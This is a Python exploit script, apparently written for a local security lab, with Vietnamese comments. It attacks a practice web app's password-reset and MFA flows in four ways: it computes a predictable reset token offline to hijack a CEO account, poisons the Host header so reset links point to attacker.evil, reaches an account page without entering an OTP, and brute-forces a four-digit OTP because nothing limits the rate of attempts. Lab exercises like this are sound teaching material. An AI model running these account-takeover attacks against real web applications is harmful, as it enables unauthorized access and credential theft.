#!/usr/bin/env python3
"""
Exploit lab 4.5.
  A. Reset token doan duoc: tinh token offline tu email victim -> doi mat khau -> chiem.
  B. Host header poisoning: ep link reset tro ve domain attacker (token ro ri).
  C. MFA bypass bang missing-check: vao /mfa/account ma khong can OTP.
  D. OTP brute: khong rate limit -> do 0000..9999.
"""
import hashlib
import sys

import requests

BASE = "http://127.0.0.1:8046"
PEPPER = "pepper2024"


def predicted_token(email):
    return hashlib.md5((email + PEPPER).encode()).hexdigest()[:12]


def attack_reset_predictable():
    print("[*] Man A: reset token doan duoc -> chiem ceo@corp.local")
    victim = "ceo@corp.local"
    # Attacker kich hoat reset cho victim (hoac victim tu lam), roi TINH token offline.
    requests.post("%s/forgot" % BASE, data={"email": victim})
    tok = predicted_token(victim)
    print("    token tinh offline = %s" % tok)
    r = requests.post("%s/reset" % BASE,
                      data={"token": tok, "new_password": "pwned-by-attacker"})
    j = r.json()
    print("    /reset -> %s" % j)
    return j.get("flag")


def attack_host_header():
    print("\n[*] Man B: host header poisoning (link reset tro ve attacker)")
    r = requests.post("%s/forgot" % BASE, data={"email": "ceo@corp.local"},
                      headers={"Host": "attacker.evil"})
    j = r.json()
    link = j.get("reset_link", "")
    print("    gui /forgot voi Host: attacker.evil")
    print("    link reset tra ve: %s" % link)
    poisoned = link.startswith("http://attacker.evil/")
    print("    link tro ve domain attacker? %s" % ("CO -> token ro ri" if poisoned else "khong"))
    return poisoned


def attack_mfa_missing_check():
    print("\n[*] Man C: MFA bypass (missing check o /mfa/account)")
    r = requests.post("%s/mfa/login" % BASE,
                      data={"username": "bob@corp.local", "password": "bobpass"})
    j = r.json()
    mfa_token = j["mfa_token"]
    print("    qua buoc password, nhan mfa_token=%s (stage=%s)" % (mfa_token, j.get("stage")))
    # KHONG nhap OTP, vao thang /mfa/account.
    acc = requests.get("%s/mfa/account" % BASE, params={"mfa_token": mfa_token}).json()
    print("    /mfa/account (khong nhap OTP) -> %s" % acc)
    return acc.get("flag")


def attack_otp_brute():
    print("\n[*] Man D: OTP brute (khong rate limit)")
    r = requests.post("%s/mfa/login" % BASE,
                      data={"username": "bob@corp.local", "password": "bobpass"})
    mfa_token = r.json()["mfa_token"]
    s = requests.Session()
    for n in range(10000):
        otp = "%04d" % n
        rr = s.post("%s/mfa/verify" % BASE,
                    data={"mfa_token": mfa_token, "otp": otp})
        if rr.status_code == 200 and rr.json().get("ok"):
            print("    [+] OTP dung = %s sau %d lan thu (khong bi chan)" % (otp, n + 1))
            return rr.json().get("flag")
    print("    khong tim thay OTP")
    return None


if __name__ == "__main__":
    f_reset = attack_reset_predictable()
    poisoned = attack_host_header()
    f_mfa1 = attack_mfa_missing_check()
    f_mfa2 = attack_otp_brute()
    print("\n=== KET QUA ===")
    print("  A reset takeover : %s" % ("OK flag=%s" % f_reset if f_reset else "FAIL"))
    print("  B host poisoning : %s" % ("OK" if poisoned else "FAIL"))
    print("  C MFA missing-chk: %s" % ("OK flag=%s" % f_mfa1 if f_mfa1 else "FAIL"))
    print("  D OTP brute      : %s" % ("OK flag=%s" % f_mfa2 if f_mfa2 else "FAIL"))
    ok = bool(f_reset and poisoned and f_mfa1 and f_mfa2)
    sys.exit(0 if ok else 1)
